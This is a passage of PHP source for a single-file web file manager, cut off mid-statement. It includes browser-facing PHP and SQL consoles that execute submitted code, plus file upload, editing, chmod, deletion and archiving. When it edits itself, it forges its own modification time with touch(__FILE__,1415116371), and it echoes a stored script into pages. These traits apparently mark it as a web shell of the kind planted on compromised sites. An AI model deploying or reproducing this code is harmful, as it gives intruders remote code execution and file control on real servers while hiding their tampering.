url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__(''.__('$PNG-OP$').'').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = 